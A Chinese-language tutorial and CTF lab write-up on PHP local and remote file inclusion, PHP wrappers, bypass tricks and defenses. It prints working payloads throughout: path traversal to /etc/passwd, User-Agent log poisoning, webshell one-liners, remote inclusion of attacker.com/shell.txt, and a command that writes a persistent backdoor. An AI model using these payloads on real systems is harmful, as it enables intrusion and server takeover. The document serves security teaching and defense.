本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
一、本地文件包含
一、什么是本地文件包含
二、漏洞产生的原因
三、本地文件包含的典型利用
1. 读取敏感文件
2. 结合日志注入获得 Webshell
3. 配合文件上传
4. 使用 PHP 伪协议绕过扩展名限制
四、本地文件包含的进阶利用
五、常见本地文件包含的绕过技巧
六、本地文件包含的危害
七、防御措施
八、与远程文件包含的区别
九、总结
十、靶场演示
文件包含:
[极客大挑战 2019]Secret File
二、远程文件包含
一、什么是远程文件包含
二、与本地文件包含(LFI)的区别
三、远程文件包含的利用条件
四、典型攻击步骤
Step 1:准备恶意脚本
Step 2:触发远程包含
Step 3:执行系统命令
Step 4:写入后门(可选)
五、常见的远程文件包含绕过
六、RFI 的高级利用
1. 使用 php://input(也是一种 RFI)
2. 使用 data:// 协议
3. 使用 expect:// 协议(需安装 expect 扩展)
七、远程文件包含的危害
八、防御措施
九、实际案例(CTF 常见题型)
十、总结
十一、靶场简单演示
远程包含:
三、伪协议
一、什么是 PHP 伪协议
二、各伪协议详解与利用示例
1. php://filter —— 读取 PHP 源码
2. php://input —— 执行任意 POST 数据
3. data:// —— 内联代码执行
4. zip:// —— 包含压缩包内的文件
5. phar:// —— 包含 PHAR 包内的文件
6. file:// —— 访问本地文件
7. http:// / https:// —— 远程文件包含(RFI)
三、CTF 实战常用 Payload
四、防御措施
五、总结
六、靶场推荐
CTFHub 伪协议相关题目速查表
BUUCTF 伪协议相关题目速查表
四、文件包含漏洞的防御与绕过
一、防御措施
1. 输入验证与过滤
2. PHP 配置安全加固
3. 代码层防御
4. 服务器配置
5. 开发规范
二、绕过技术(攻击者视角)
1. 路径遍历绕过
2. 编码绕过
3. 远程文件包含(RFI)绕过
4. 伪协议绕过
5. 日志注入绕过
6. 配合文件上传
7. 环境变量与进程文件
8. 绕过 open_basedir
三、防御与绕过对抗示例
四、总结
一、本地文件包含
一、什么是本地文件包含
本地文件包含(Local File Inclusion,LFI) 是指 Web 应用程序在动态包含文件时,对用户输入的路径参数未进行严格过滤,导致攻击者可以通过构造特殊的路径(如 ../../../../etc/passwd)读取或执行服务器本地的文件。
简单来说:攻击者利用程序的文件包含功能,读取或执行服务器上本不该被访问的文件。
二、漏洞产生的原因
开发人员为了代码复用,经常使用动态包含机制:
$page = $_GET['page'];
include($page . ".php");
如果用户可控的 $page 没有被过滤,攻击者可以传入:
-
../../../../etc/passwd → 读取系统密码文件
-
../../../../proc/self/environ → 读取环境变量
-
php://filter/convert.base64-encode/resource=config.php → 读取 PHP 源码(需要开启伪协议)
三、本地文件包含的典型利用
1. 读取敏感文件
http://target.com/index.php?page=../../../../etc/passwd
http://target.com/index.php?page=../../../../var/log/apache/access.log
2. 结合日志注入获得 Webshell
如果 Web 服务器将用户请求记录到日志文件(如 access.log),攻击者可以在 User-Agent 中写入 PHP 代码:
User-Agent: <?php system($_GET['cmd']); ?>
然后通过 LFI 包含该日志文件,执行代码。
3. 配合文件上传
上传一个图片马(内容为 <?php phpinfo(); ?>),然后通过 LFI 包含该图片文件,使其中的 PHP 代码被执行。
4. 使用 PHP 伪协议绕过扩展名限制
// 假设 include($_GET['page'] . ".php");
// 使用空字节截断(旧版本有效)
?page=../../../../etc/passwd%00
// 使用伪协议读取源码
?page=php://filter/convert.base64-encode/resource=config
四、本地文件包含的进阶利用
| 远程文件包含(RFI) | 若 allow_url_include=On,可直接包含远程服务器上的恶意脚本,如 http://attacker.com/shell.txt |
| 包含上传的文件 | 结合文件上传漏洞,包含上传的图片马或临时文件 |
| 包含环境变量/进程文件 | 读取 /proc/self/environ 获取敏感环境变量 |
| 包含 SSH 日志 | 在某些配置下,可以包含 /var/log/auth.log,并通过恶意用户名注入代码 |
| 包含 Session 文件 | 如果 Session 内容可控,可写入 PHP 代码并包含 |
五、常见本地文件包含的绕过技巧
| 添加固定后缀 .php | 使用路径截断(%00,仅 PHP<5.3.4)或使用 ? 截断 |
| 过滤 ../ | 双写 ….//(过滤后剩下 ../)或使用编码 %2e%2e%2f |
| 过滤 etc/passwd | 使用绝对路径 /etc/passwd 或大小写混淆 |
| 限制目录 | 使用 ../../../../../var/log/../etc/passwd |
六、本地文件包含的危害
-
信息泄露:读取配置文件、数据库密码、源代码。
-
代码执行:配合日志注入、文件上传等,获得 Webshell。
-
权限提升:读取系统敏感文件,获取进一步的攻击目标。
-
内网探测:读取 /proc/net/arp 等网络信息。
七、防御措施
关闭危险配置:
-
allow_url_include = Off(关闭远程文件包含)
-
allow_url_fopen = Off
使用白名单:
$allowed = array('home', 'about', 'contact');
if(in_array($_GET['page'], $allowed)) {
include($_GET['page'] . '.php');
}
过滤用户输入:
-
禁止 ..、/、\\、%00、php://、file:// 等危险字符。
-
使用 realpath() 检查文件是否在指定目录内。
设置 open_basedir:限制 PHP 可访问的目录范围。
禁用不必要的伪协议:在 php.ini 中禁用 php://input、php://filter 等(如果不需要)。
Web 服务器配置:禁止访问日志、配置文件等敏感目录。
八、与远程文件包含的区别
| 包含的文件位置 | 本地服务器文件 | 远程服务器文件(HTTP/HTTPS) |
| 前提条件 | 无特殊配置 | allow_url_include=On |
| 典型用途 | 读取系统文件、日志注入 | 直接执行远程恶意脚本 |
| 危害程度 | 高 | 极高(直接 Getshell) |
九、总结
本地文件包含漏洞的本质是对用户输入的文件路径缺乏验证,导致攻击者可以越权访问服务器上的任意文件。结合日志注入、文件上传、伪协议等技术,可以进一步实现代码执行和权限提升。开发者必须永远不要信任用户的输入,使用白名单、限制访问范围、关闭危险配置才能有效防御
十、靶场演示
文件包含:
构造执行phpinfo()命令的Payload,需要将POST参数设置为ctfhub=phpinfo();
用火狐浏览器的hackbar填入一下内容

构造执行查看当前目录下文件命令(ls)的Payload,需要将POST参数设置为ctfhub=system("ls");

构造执行查看根目录下文件命令(ls /)的Payload,需要将POST参数设置为ctfhub=system("ls /");

构造执行查看根目录下flag文件内容命令 (cat /flag)的Payload,需要将POST参数设置为ctfhub=system("cat /flag");
得到flag

[极客大挑战 2019]Secret File
一、信息收集阶段
查看首页源代码
· 操作:浏览器右键 → 查看源代码(或 F12 Elements) · 发现:页面注释或隐藏标签中包含 Archive_room.php · 原理:前端代码中通过注释或隐藏元素提供线索

访问 Archive_room.php
· 操作:直接访问 http://靶场/Archive_room.php · 发现:新页面有一个“SECRET”按钮,点击后跳转到 end.php

使用 Burp Suite 抓包
· 操作:打开 Burp 代理,点击“SECRET”按钮,拦截请求 · 发现:实际请求先经过 action.php,响应中携带 secr3t.php 的链接,然后才重定向到 end.php · 原理:利用抓包工具查看中间跳转,找到真实入口


访问 secr3t.php
· 操作:在浏览器地址栏输入 http://靶场/secr3t.php · 结果:页面显示 PHP 源码,内容如下:
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")){
echo "Oh no!";
exit();
}
include($file);
// flag放在了flag.php里
· 原理:通过直接访问文件,获得源码,发现文件包含漏洞及黑名单过滤规则

二、漏洞利用阶段
构造最终 Payload
· 命令(URL 参数):
?file=php://filter/convert.base64-encode/resource=flag.php
· 完整访问 URL:
http://靶场/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

原理详解
· 文件包含漏洞:include($_GET['file']) 可包含任意文件 · 黑名单限制:过滤了 ../、tp、input,但未过滤 php:// · 为什么不能直接 include('flag.php'):因为 flag.php 中的 PHP 代码会被执行,用户看不到源码 · php://filter 伪协议:可对文件内容进行过滤转换 · convert.base64-encode 将文件内容进行 Base64 编码 后返回 · 这样 include() 包含的是编码后的纯文本,PHP 代码不会被执行,因此我们能直接看到 flag.php 的原始代码 · 资源指定:resource=flag.php 指明目标文件
三、获取 Flag
解码 Base64
· 操作:复制页面返回的 Base64 字符串,在本地执行:
echo "base64字符串" | base64 -d
或使用在线解码工具 · 结果:得到 flag.php 的源码,其中包含 flag{…} 或 ctfhub{…} 形式的 flag
二、远程文件包含
一、什么是远程文件包含
远程文件包含(Remote File Inclusion,RFI) 是指 Web 应用程序在动态包含文件时,允许包含远程服务器上的文件(通过 HTTP、FTP 等协议),并且对用户输入的路径参数未做严格过滤,导致攻击者可以指定一个恶意远程文件,使服务器下载并执行该文件中的代码。
简单说:攻击者让目标服务器去加载自己控制的服务器上的恶意脚本,从而在目标服务器上执行任意代码。
二、与本地文件包含(LFI)的区别
| 包含的文件来源 | 本地服务器文件系统 | 远程服务器(HTTP/HTTPS/FTP等) |
| PHP 配置要求 | 无特殊要求,通常默认开启 | 必须开启 allow_url_include = On(PHP 5.2 起默认 Off) |
| 典型利用 | 读取 /etc/passwd、日志注入、包含上传的图片马 | 直接执行远程恶意脚本,一句命令即可获取 WebShell |
| 危害程度 | 高(需要配合其他漏洞才能执行代码) | 极高(直接代码执行,无需其他条件) |
| 常见伪协议 | php://filter、file://、zip:// | http://、https://、ftp://、php://input(也算 RFI) |
三、远程文件包含的利用条件
PHP 配置:
-
allow_url_include = On(PHP 5.2 之后默认关闭)
-
allow_url_fopen = On(通常开启,用于读取远程内容)
应用代码缺陷:
$file = $_GET['page'];
include($file); // 直接包含用户传入的参数,无任何过滤
远程服务器可被访问:攻击者需要有一个公网可访问的服务器,存放恶意脚本。
四、典型攻击步骤
Step 1:准备恶意脚本
在攻击者服务器(http://attacker.com/)上创建一个文本文件 shell.txt,内容为:
<?php system($_GET['cmd']); ?>
或直接写入一句话木马:
<?php eval($_POST['0']); ?>
Step 2:触发远程包含
访问目标网站的漏洞点:
http://target.com/index.php?page=http://attacker.com/shell.txt
如果目标服务器开启了 allow_url_include,它会下载 shell.txt 并将其中的 PHP 代码当作本地代码执行。
Step 3:执行系统命令
http://target.com/index.php?page=http://attacker.com/shell.txt&cmd=id
返回 uid=33(www-data) …,证明命令执行成功。
Step 4:写入后门(可选)
利用 RFI 写入一个持久化的 WebShell:
http://target.com/index.php?page=http://attacker.com/shell.txt&cmd=echo '<?php eval($_POST[0]);?>' > shell.php
之后直接访问 shell.php 即可。
五、常见的远程文件包含绕过
| 添加固定后缀 .php | 使用 ? 或 # 截断,如 http://attacker.com/shell.txt?(部分版本有效) |
| 过滤 http:// | 使用大写 HTTP://,或使用 ftp://、php://input 等替代 |
| 过滤远程协议 | 使用 data://text/plain,<?php system($_GET['cmd']);?>(需要 allow_url_include) |
| 检查扩展名 | 使用 http://attacker.com/shell.jpg(内容仍为 PHP 代码) |
| 限制目录 | 使用 ../ 跳出目录,如 page=http://attacker.com/shell.txt?../../../../ |
六、RFI 的高级利用
1. 使用 php://input(也是一种 RFI)
POST /index.php?page=php://input HTTP/1.1
Host: target.com
Content-Type: text/plain
<?php system($_GET['cmd']); ?>
不需要外部服务器,直接通过 POST 数据提供代码。
2. 使用 data:// 协议
?page=data://text/plain,<?php system('id'); ?>
需要 allow_url_include=On,且 PHP 版本支持。
3. 使用 expect:// 协议(需安装 expect 扩展)
?page=expect://id
七、远程文件包含的危害
-
直接代码执行:无需上传文件、无需日志注入,一条 URL 即可获得 Shell。
-
绕过文件上传限制:即使上传功能被严格防护,RFI 仍可导致 Getshell。
-
内网漫游:可进一步执行内网扫描、反弹 Shell 等。
-
持久化后门:利用 RFI 在服务器上写入永久后门文件。
八、防御措施
| PHP 配置 | allow_url_include = Off(最有效、最简单) allow_url_fopen = Off(可选) |
| 代码层面 | – 使用白名单机制,只允许包含预设的文件。 – 过滤 http://、https://、ftp://、php://、data:// 等协议。 – 使用 realpath() 检查文件是否在允许的目录内。 |
| Web 服务器 | 配置 open_basedir 限制 PHP 可访问的目录。 |
| 输入过滤 | 删除所有 ://、..、\\0 等危险字符。 |
九、实际案例(CTF 常见题型)
题目描述:一个简单的 PHP 页面 ?file=home,访问 ?file=../../../../etc/passwd 无反应,尝试 ?file=http://127.0.0.1/index.php 返回自身源码,说明开启了 allow_url_include。
解法:
准备远程服务器,写入 <?php system('cat /flag'); ?>。
访问 ?file=http://attacker.com/shell.txt。
页面直接返回 flag。
或者利用 php://input:
POST /?file=php://input HTTP/1.1
Content-Type: text/plain
<?php system('cat /flag'); ?>
十、总结
远程文件包含(RFI)是比 LFI 更危险的漏洞,因为它直接允许攻击者在目标服务器上执行任意代码,且利用门槛很低(只需要一个可访问的 URL)。防御的核心是关闭 allow_url_include,并在代码中采用白名单包含策略。任何对外部传入文件路径的盲目信任都可能酿成灾难性后果。
十一、靶场简单演示
远程包含:
跟上个步骤相同

查看是否符合条件
php.ini 中 allow_url_fopen=On (默认开启)和 allow_url_include=Off (默认关闭)要开启(On表示开启)

继续用bp抓包放包

改一下shell,放包找到flag

三、伪协议
一、什么是 PHP 伪协议
PHP 支持多种 封装协议(Wrapper),允许通过 include、file_get_contents、readfile 等函数访问不同的数据源。攻击者可以利用这些协议绕过过滤、读取源码、执行任意代码,从而扩展文件包含漏洞的攻击面。
常见的 PHP 伪协议包括:
| php://filter | 读取文件源码(编码/转换) | 无需特殊配置 |
| php://input | 将 POST 数据作为 PHP 代码执行 | allow_url_include=On |
| data:// | 内联数据流 | allow_url_include=On |
| zip:// | 访问压缩包内的文件 | 需要上传 zip 文件 |
| phar:// | 访问 PHP Archive 内的文件 | 需要上传 phar 文件 |
| file:// | 访问本地文件系统(默认) | 默认可用 |
| http:// / https:// | 远程文件包含(RFI) | allow_url_include=On |
二、各伪协议详解与利用示例
1. php://filter —— 读取 PHP 源码
作用:读取文件内容并进行过滤/编码,常用于读取 PHP 源码(避免直接包含被执行)。
语法:
php://filter/convert.base64-encode/resource=file.php
示例:
// 假设存在文件包含漏洞
include($_GET['file']);
// 攻击者访问
?file=php://filter/convert.base64-encode/resource=index.php
服务器返回 index.php 的 Base64 编码内容,解码后即可获得原始源码。
变种:
-
多个过滤器链:php://filter/string.toupper|string.rot13/resource=flag.php
-
读取其他文件:/etc/passwd、config.php、../flag 等。
特点:不需要 allow_url_include 开启,几乎 100% 可用。
2. php://input —— 执行任意 POST 数据
作用:将 HTTP 请求的原始 Body 当作 PHP 代码执行。
前提:allow_url_include = On。
示例:
POST /index.php?file=php://input HTTP/1.1
Host: target.com
Content-Type: text/plain
<?php system('id'); ?>
如果代码中存在 include($_GET['file']),上述 POST 数据中的 PHP 代码会被执行。
特点:直接获得代码执行,无需上传文件,是 RFI 的常用替代方案。
3. data:// —— 内联代码执行
作用:将 Base64 或 URL 编码的数据作为文件内容包含。
前提:allow_url_include = On。
语法:
data://text/plain,<?php phpinfo(); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
示例:
?file=data://text/plain,<?php system('cat /flag'); ?>
或使用 Base64:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=
特点:无需外部服务器,一条 URL 直接执行代码。
4. zip:// —— 包含压缩包内的文件
作用:读取 ZIP 压缩包内的指定文件,并可将其作为脚本执行。
前提:需要上传一个 ZIP 文件到服务器(通过其他漏洞,如文件上传、写文件等)。
语法:
zip://path/to/archive.zip%23inner_file.php
注意:# 必须编码为 %23。
示例:
创建 shell.php 内容为 <?php system($_GET['cmd']); ?>。
压缩为 shell.zip 并上传到服务器(如 /uploads/shell.zip)。
利用 LFI 包含:
?file=zip://uploads/shell.zip%23shell.php
访问 ?cmd=id 即可执行命令。
特点:可绕过某些扩展名过滤(只允许上传 .zip),且压缩包内文件扩展名任意。
5. phar:// —— 包含 PHAR 包内的文件
作用:类似 zip://,但用于 PHP Archive 格式,常与反序列化漏洞配合。
前提:需要上传 .phar 文件。
示例:
?file=phar://uploads/shell.phar/shell.php
高级利用:攻击者可以构造恶意的 PHAR 元数据,当通过 phar:// 包含时触发 PHP 反序列化,造成更严重的代码执行。
6. file:// —— 访问本地文件
作用:直接读取本地文件(默认行为),通常不需要显式指定,但可用于绕过某些过滤。
示例:
?file=file:///etc/passwd
如果 Web 应用过滤了 ../ 但没有过滤 file://,可以使用该协议进行路径遍历。
7. http:// / https:// —— 远程文件包含(RFI)
作用:包含远程服务器上的文件。
前提:allow_url_include = On,allow_url_fopen = On。
示例:
?file=http://attacker.com/shell.txt
shell.txt 内容为 <?php system('id'); ?>。
特点:直接代码执行,但需外部服务器,且经常被 WAF 拦截。
三、CTF 实战常用 Payload
| 读取 index.php 源码 | ?file=php://filter/convert.base64-encode/resource=index.php |
| 执行 phpinfo() | ?file=data://text/plain,<?=phpinfo();?> |
| 执行系统命令(POST) | POST file=php://input + Body <?php system('ls');?> |
| 包含上传的 zip 中的 PHP | ?file=zip://uploads/shell.zip%23shell.php |
| 包含远程脚本(RFI) | ?file=http://vps/shell.txt |
| 读取 flag(无扩展名) | ?file=php://filter/convert.base64-encode/resource=../flag |
四、防御措施
禁用危险协议:
allow_url_include = Off
allow_url_fopen = Off
并在 php.ini 中通过 disable_functions 或配置禁用 php://filter?(无法完全禁用,但可通过 open_basedir 限制读取范围)
白名单包含:
$allowed = array('home', 'about');
if(in_array($_GET['page'], $allowed)) {
include($_GET['page'] . '.php');
}
输入过滤:移除 php://、data://、http://、ftp:// 等特征字符串,以及 ../、\\0、%00 等。
使用 realpath() 检查路径:
$base = '/var/www/html/includes/';
$path = realpath($base . $_GET['file']);
if(strpos($path, $base) !== 0) die('Hack');
include($path);
关闭错误回显:避免泄露路径信息。
Web 服务器限制:设置 open_basedir 限制 PHP 可访问的目录。
五、总结
PHP 伪协议是文件包含漏洞利用中的利器,能将简单的包含漏洞升级为源码泄露、任意代码执行甚至服务器沦陷。理解每种协议的功能和限制,对于渗透测试和漏洞修复都至关重要。
防御的核心是 拒绝用户控制包含路径,采用白名单、禁用危险协议、严格过滤输入,多管齐下才能有效阻断此类攻击。
六、靶场推荐
关于伪协议的靶场演示可以看我的ctfhub与buuctf解题笔记
CTFHub 伪协议相关题目速查表
-
CTFHub RCE基础 – 第二题 (文件包含):概念性题目,理解 include 函数及其风险。
-
CTFHub RCE基础 – 第三题 (php:input):核心是利用 php://input 协议,通过 POST 请求发送执行代码来获取 Flag。
-
CTFHub RCE基础 – 第四题 (读取源代码):利用 php://filter 协议读取文件源码。
-
CTFHub RCE基础 – 第五题 (远程包含):考查 RFI(Remote File Inclusion),通过 http:// 等协议包含远程服务器上的恶意文件执行代码。
-
CTFHub 文件包含 – CTF-04:考查 php://filter 协议,用于读取系统文件。
-
CTFHub 文件包含 – 读取源代码:明确考查 php://filter 协议,以 Base64 编码方式读取 flag.php 等文件的源码。
-
CTFHub php://input:专门考查 php://input 协议,在文件包含点执行代码。
-
CTFHub SSRF 伪协议读取文件:考查 SSRF(Server-Side Request Forgery,即服务端请求伪造)中 file:// 协议,用于读取服务器本地文件。
BUUCTF 伪协议相关题目速查表
-
[GXYCTF2019]BabysqliV3.01:考查 php://filter 协议,用于读取服务器文件源码。
-
[ZJCTF 2019]NiZhuanSiWei:三重混合挑战,同时考查 data://、php://filter 和 php://input 协议。
-
[ACTF2020 新生赛]Include:核心考点是 php://filter,用于读取 flag.php 的源码。
-
[NPUCTF2020]ezinclude:进阶应用,考查用 php://filter 触发 PHP 段错误来获取并包含临时文件。
-
[极客大挑战 2019]Secret File:一个需要读取源码的题目,常配合 php://filter 解法。
-
[极客大挑战 2019]Http:部分解法会用到 php://filter 读取源码辅助解题。
四、文件包含漏洞的防御与绕过
一、防御措施
1. 输入验证与过滤
原则:永远不要直接使用用户输入作为文件路径。
| 白名单 | 允许的值写死在代码中,如 ['home','about','contact'] | 最安全,完全避免路径遍历 |
| 黑名单 | 过滤 ../、..\\、\\0、://、php:// 等 | 容易被绕过,不推荐作为唯一防线 |
| 正则校验 | if(preg_match('/^[a-z]+$/', $page)) | 仅允许字母,限制严格 |
2. PHP 配置安全加固
| allow_url_include | Off | 禁止远程文件包含(RFI) |
| allow_url_fopen | Off(若非必要) | 禁止读取远程文件 |
| open_basedir | 限制 PHP 可访问的目录,如 /var/www/html/ | 防止读取系统敏感文件 |
| disable_functions | 禁用危险函数:include, require 等(慎用) | 或使用 disable_classes |
3. 代码层防御
-
固定路径前缀:
$base_dir = '/var/www/html/includes/';
$file = basename($_GET['page']); // 去掉路径
include($base_dir . $file . '.php'); -
使用 realpath() 检查:
$path = realpath($base_dir . $_GET['page']);
if(strpos($path, $base_dir) !== 0) {
die('非法路径');
}
include($path); -
关闭错误回显:防止路径信息泄露。
4. 服务器配置
-
Web服务器权限:Web 用户(如 www-data)对系统文件(如 /etc/passwd)应无读取权限(通过操作系统 DAC 控制)。
-
日志目录不可访问:确保 /var/log/ 不被 Web 直接读取(通过 open_basedir 或文件权限)。
-
禁用不必要的协议:如 php://input、php://filter,可在 php.ini 中通过 disable_wrappers 限制。
5. 开发规范
-
避免动态包含,采用路由分发机制。
-
使用模板引擎(如 Twig、Smarty)自动转义包含路径。
-
代码审计时重点搜索 include、require、include_once、require_once 等函数。
二、绕过技术(攻击者视角)
以下技术仅供安全测试与授权渗透使用。
1. 路径遍历绕过
| 过滤 ../ | 双写 ….// → 过滤后剩下 ../ 编码 %2e%2e%2f 利用绝对路径 /etc/passwd(若未过滤) |
| 过滤 .. | 使用 …. 或 ../…/./ 等 |
| 限制基础目录 | 使用 ../../../../../ 跳出多个目录 |
| 后缀自动添加 .php | 使用空字节截断 %00(仅 PHP < 5.3.4) 使用 ? 截断 page=../../etc/passwd? 使用 # 截断(URL 编码 %23) |
2. 编码绕过
-
URL 编码:%2e%2e%2f → ../
-
双 URL 编码:%252e%252e%252f
-
Unicode 编码:%c0%ae%c0%ae%c0%af(IIS 特定)
-
16 进制:\\x2e\\x2e\\x2f(部分语言)
3. 远程文件包含(RFI)绕过
前提:allow_url_include = On
| 过滤 http:// | 使用 HTTP://、http://(大小写) 使用 ftp://、ftps://、php://input、data:// |
| 后缀强制 .php | 使用 ? 截断:http://attacker.com/shell.txt? 使用 # 截断:http://attacker.com/shell.txt# 使用 %00 截断 |
| 域名白名单 | 寻找允许的域名下的 JSONP 接口、上传点 等 |
4. 伪协议绕过
| php://filter | 读取 PHP 源码:php://filter/convert.base64-encode/resource=index.php | 无特殊要求 |
| php://input | 执行 POST 数据中的代码:POST /?page=php://input + <?php system('id');?> | allow_url_include=On |
| data:// | 直接注入代码:?page=data://text/plain,<?php system('id');?> | allow_url_include=On |
| zip:// | 包含 zip 中的文件:?page=zip://shell.zip%23shell.php | 需要上传 zip 文件 |
| phar:// | 包含 phar 包中的文件(常用于反序列化) | 需上传 phar 文件 |
5. 日志注入绕过
-
原理:包含 Web 服务器或应用的日志文件,其中攻击者已通过 User-Agent、Referer 等写入 PHP 代码。
| /var/log/apache2/access.log | User-Agent: <?php system($_GET['cmd']);?> |
| /var/log/nginx/access.log | 同上 |
| /var/log/auth.log | SSH 登录尝试的用户名中包含 PHP 代码 |
| /tmp/sess_*(PHP Session) | 通过 session 参数写入 |
-
绕过过滤:如果日志文件被过滤,尝试 <?= system('id');?>(短标签)或 <script language="php">system('id');</script>。
6. 配合文件上传
-
上传图片马(内容含 PHP 代码),然后通过 LFI 包含该图片文件。
-
如果图片被重命名,需猜测新路径或结合 phar:// / zip:// 协议。
7. 环境变量与进程文件
-
/proc/self/environ:包含环境变量,可通过 User-Agent 注入。
-
/proc/self/fd/N:访问进程打开的文件描述符,可能包含临时文件。
-
/proc/self/cmdline:命令行参数,可能泄露路径。
8. 绕过 open_basedir
-
使用 DirectoryIterator 或 glob 协议(如果允许)读取目录。
-
利用 ini_set() 尝试修改(通常被禁用)。
-
使用 realpath() 配合路径拼接突破。
三、防御与绕过对抗示例
| 白名单包含 | 无法绕过 | – |
| 过滤 ../ | ….// 双写 | 递归删除 .. 直到无变化 |
| 强制添加 .php | %00 截断(旧版 PHP) | 升级 PHP 版本,禁止空字节 |
| 关闭 allow_url_include | 无法 RFI,但 LFI 仍可读文件 | 配合 open_basedir 限制读取范围 |
| open_basedir 限制目录 | 使用 zip:// 或 phar:// 协议(若未禁用) | 禁用危险协议 |
四、总结
-
最有效的防御:白名单 + 禁用远程包含 + open_basedir + 文件权限最小化。
-
绕过的核心思路:寻找过滤规则的漏洞(截断、编码、双写),利用各种 PHP 伪协议或日志文件。
-
现实场景:LFI 比 RFI 更常见(因 RFI 默认关闭),但 LFI 往往需要配合文件上传或日志注入才能获得代码执行。
